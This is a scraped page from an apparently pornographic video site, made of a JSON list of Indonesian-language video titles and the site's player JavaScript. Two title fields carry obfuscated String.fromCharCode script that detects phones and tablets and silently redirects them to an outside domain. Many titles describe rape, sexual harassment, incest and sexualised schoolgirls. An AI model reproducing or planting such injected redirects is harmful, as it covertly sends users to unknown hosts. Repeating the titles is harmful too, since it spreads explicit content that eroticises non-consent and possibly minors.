FC2PPV 3162378 [Pengungkapan Wajah/Ejakulasi Berkelanjutan_Klitoris Besar] Menghukum pacar bawahan yang tidak bisa berhenti selingkuh dengan ejakulasi berkelanjutan.
Pacarku yang cantik, langsing, dan imut, Natsu, mengalami pelecehan seksual, baik secara mental maupun fisik, oleh penasihat klub seni selama liburan musim panas. Tojo Natsu Dasu!","lastmod":"2026-07-11","duration":"01:59:06","url":"/play/19166654.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmMyNjFhMjdjZGJiYmQxYjI4ODJkOTFlMWQ1ZDBmNzkuanBn.cache","vod_id":18938714,"title":"AUKG-467 - Wanita Menikah dan Pacarnya - Hubungan Homoseksual Rahasia dan Dosa Nafsu - Namiki Fuyuko dan Shinohara Yuka","lastmod":"2025-12-14","duration":"02:00:53","url":"/play/18938714.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjgzYTYxMzE1NjZhMDQwNDI2MjQzZTE0NTQ4ZWJhYTkuanBn.cache","vod_id":19024205,"title":"JUQ418C Aktivitas seksual teman anak saya yang tak terkendali membuat saya mengalami orgasme berulang kali...","lastmod":"2025-03-24","duration":"02:29:20","url":"/play/19024205.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMjU5MDIzODdkMWVjZTExMGEwYmVkOWI2MzQxYTgzMjYuanBn.cache","vod_id":19162795,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Aksi langsung! Bersatu kembali dengan mantan pacarnya yang sudah menikah…Unduhan komik doujinshi FANZA melampaui 100.000, sangat populer! NIMA-032-C","lastmod":"2026-07-11","duration":"02:26:04","url":"/play/19162795.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTI3ZGNhZWYxZDIyMGY0MTYyYTVhOTMyYmU4OWI0YjAuanBn.cache","vod_id":19020351,"title":"Terakhir, tentu saja, adalah ejakulasi primal.","lastmod":"2025-03-24","duration":"04:35","url":"/play/19020351.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzg4M2I5ODZkMWY0YTQzZjdhYjBmMjkyOTg0YjdlY2YuanBn.cache","vod_id":18978490,"title":"Bahkan wanita terbaik pun punya pria yang bosan dengannya. Seorang perawat seksi dengan stoking putih, wajahnya terbuka sepenuhnya, dengan penuh gairah mengambil alih dan berhubungan seks dengan seorang \"kakak laki-laki\" (seorang pria yang terangsang secara seksual dan melecehkan wanita secara seksual), sementara \"kakak laki-laki\" itu berbaring di tempat tidur bermain ponselnya, mengerang dan mendesah tanpa henti.","lastmod":"2025-12-14","duration":"00:27:51","url":"/play/18978490.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTQ0MGVlZDI0MmEyYTI1YWU2NTY4ODVjYTM0MmM5YWIuanBn.cache","vod_id":18991475,"title":"N0577 diperkosa beramai-ramai sebanyak 41 kali berturut-turut, dan semua lubang tubuhnya disumbat.","lastmod":"2025-12-14","duration":"01:28:01","url":"/play/18991475.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDMxOThlNzRiM2RiMWFkYzJiNTI2M2E4MDg4ZjNkMmIuanBn.cache","vod_id":18988617,"title":"HND-748 Adik perempuan pacarku sangat menyayangiku sehingga kami diam-diam memiliki anak - Nao Jinguji","lastmod":"2025-12-14","duration":"01:57:19","url":"/play/18988617.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMGZlNmY5ZTBkOTZiMzQyNzAxNzZkMDBlNGIzMzY1NjEuanBn.cache","vod_id":19151359,"title":"Seorang wanita yang murni dan polos menggunakan kekuatan pinggang yang luar biasa untuk mengeluarkan sperma seorang pria!! Ejakulasi posisi berkuda Celie yang tak tertahankan dan paling dahsyat SEX XVSR-857","lastmod":"2026-04-02","duration":"01:50:20","url":"/play/19151359.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOGMxNGQ5MDY0MDE5MGYwMGJlNTNjNWM4ODg4M2Q5ZjEuanBn.cache","vod_id":18985555,"title":"[4K] SONE-162 Aku tak bisa menahan godaan siswi yang imut dan polos ini, dan mulai melecehkannya... Dia lebih kecanduan keahlianku daripada pacarnya. Ambisi Dangkal","lastmod":"2025-12-14","duration":"02:23:35","url":"/play/18985555.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvN2UxYTQ5YWFlN2FlNzc4NTUyZGViNTE4M2VkZDdkM2YuanBn.cache","vod_id":18942204,"title":"[Subtitle Bahasa Mandarin] IQQQ-14 Kebasahan guru yang sudah menikah, Satosaki Aika, meningkat sepuluh kali lipat selama pelajaran orgasme di mana dia tidak bisa mengeluarkan suara.","lastmod":"2025-12-14","duration":"01:30:02","url":"/play/18942204.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMmUxZmNmYTg2NjNkMDMyNzUyYzMyYThmMjU2ODU4YzUuanBn.cache","vod_id":19138002,"title":"Mahasiswi seksi berbaju stocking hitam memperlihatkan wajahnya","lastmod":"2026-01-12","duration":"35:59","url":"/play/19138002.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvNTZlYTM1NzE0OTRhZmVlYTNkODFmYTExOGYxNjE5ODIuanBn.cache","vod_id":19165281,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Apakah seks oral guru lebih baik daripada pacarnya? ~Seorang guru perempuan yang mengejar siswa yang memiliki pacar dan melakukan seks oral~ Kitaoka Karin Kitaoka Karin PREMIUM","lastmod":"2026-07-11","duration":"02:03:35","url":"/play/19165281.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjU0YTUzNDY1MzRlZmVlZDllNWUwNWFjNmZiYWZhNzcuanBn.cache","vod_id":19007524,"title":"EIKI085: Sebuah video yang akan membuat orang tua menangis. Seorang putri kesayangan ditiduri oleh tutornya dan kemudian mengeluarkan suara \"ah ah\"... Seorang siswi yang polos dilumuri air mani di lidahnya & ejakulasi internal – tindakan seks menyimpang yang melibatkan Yui Miho.","lastmod":"2025-03-24","duration":"02:02:46","url":"/play/19007524.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjQ4OTA2MjQxYmYwOWE0YzVkYjA3MGJiM2NmNTFlMzguanBn.cache","vod_id":19001509,"title":"[Green Bunny] Cinta Hitam ~Suatu Malam Mulut Cabul Istri dan Hasrat Tak Terkendali ~ #2 Hasrat Seksual Abnormal Ejakulasi Istri Pesta Neraka","lastmod":"2025-03-23","duration":"25:10","url":"/play/19001509.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWEwNzM2NTc5ZDJkODhlNmI5ZWExM2QxNGJjNGMzMjEuanBn.cache","vod_id":18930058,"title":"JUL-186 Aku tak bisa bilang pada istriku bahwa aku menghamili ibu mertuaku... - Selama liburan dua hari satu malam di pemandian air panas, aku kehilangan kendali dan berejakulasi di dalam dirinya berulang kali - Ayumi Miura","lastmod":"2025-12-14","duration":"01:56:49","url":"/play/18930058.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTRhNDUyOTc3MTJmYzAwZjExNDRmM2Y4N2NlYTNlNzUuanBn.cache","vod_id":19014958,"title":"EBOD702 Seorang wanita pemalu, artistik, berpayudara besar tanpa riasan wajah disetubuhi 10 kali oleh Yua-chan dan hamil besar dalam sehari.","lastmod":"2025-03-24","duration":"02:25:25","url":"/play/19014958.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvN2I2ZWQ3ZjA4MTFmMTYwMjdmMDI3YjBiNTVmYmUzM2UuanBn.cache","vod_id":18955944,"title":"FC2PPV 3162378 [Pengungkapan Wajah/Ejakulasi Berkelanjutan_Klitoris Besar] Menghukum pacar bawahan yang tidak bisa berhenti selingkuh dengan ejakulasi berkelanjutan.","lastmod":"2025-12-14","duration":"00:48:18","url":"/play/18955944.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjY4ZDk4ODRlY2IyNDdmNmI1MmFjYmZiNTU3NDIyZTAuanBn.cache","vod_id":18982652,"title":"FANH-006 Emma, seorang wanita langsing dan cantik dengan potensi menjadi pembawa acara TV, menggunakan pelumas ilegal untuk mencapai dua orgasme dahsyat berturut-turut!","lastmod":"2025-12-14","duration":"01:53:43","url":"/play/18982652.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTliYWU3NjQ0Y2M1MTNkNzZkNWYzMTNhZTI1Zjc3MTIuanBn.cache","vod_id":18971523,"title":"BUR-607 Kedua kalinya berhubungan seks dengan pamanku \"Senyum!\" Aku tahu ini ide yang buruk, tapi aku tidak bisa berhenti!!! 4 jam seks penuh gairah dengan keponakanku yang cantik, termasuk ejakulasi internal.","lastmod":"2025-03-23","duration":"04:00:09","url":"/play/18971523.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2Q4MzBlNTBkZTBmNzE3NDc4NDI5NGI0OTcwY2RiYzIuanBn.cache","vod_id":19024943,"title":"Celana jins memperlihatkan wajah, bantu aku menjilat, akhirnya selir kekaisaran berbaring telentang, ejakulasi di wajahku","lastmod":"2025-03-24","duration":"09:44","url":"/play/19024943.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzg5ZGQ4YjllYzQ0OGQ5ZWZjZTlmNzZmZGUxZDIxYWYuanBn.cache","vod_id":18982907,"title":"FC2PPV 3704391 [Tanpa Sensor] Seorang guru TK yang cabul menggoyangkan payudara H-cup-nya yang sakral! Dia memeluk penis yang ereksi dengan tubuhnya yang penuh dan seksi. Ejakulasi vagina.","lastmod":"2025-03-23","duration":"01:01:28","url":"/play/18982907.html"}]},
videoTitle: 'FC2PPV 3162378 [Pengungkapan Wajah/Ejakulasi Berkelanjutan_Klitoris Besar] Menghukum pacar bawahan yang tidak bisa berhenti selingkuh dengan ejakulasi berkelanjutan.',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}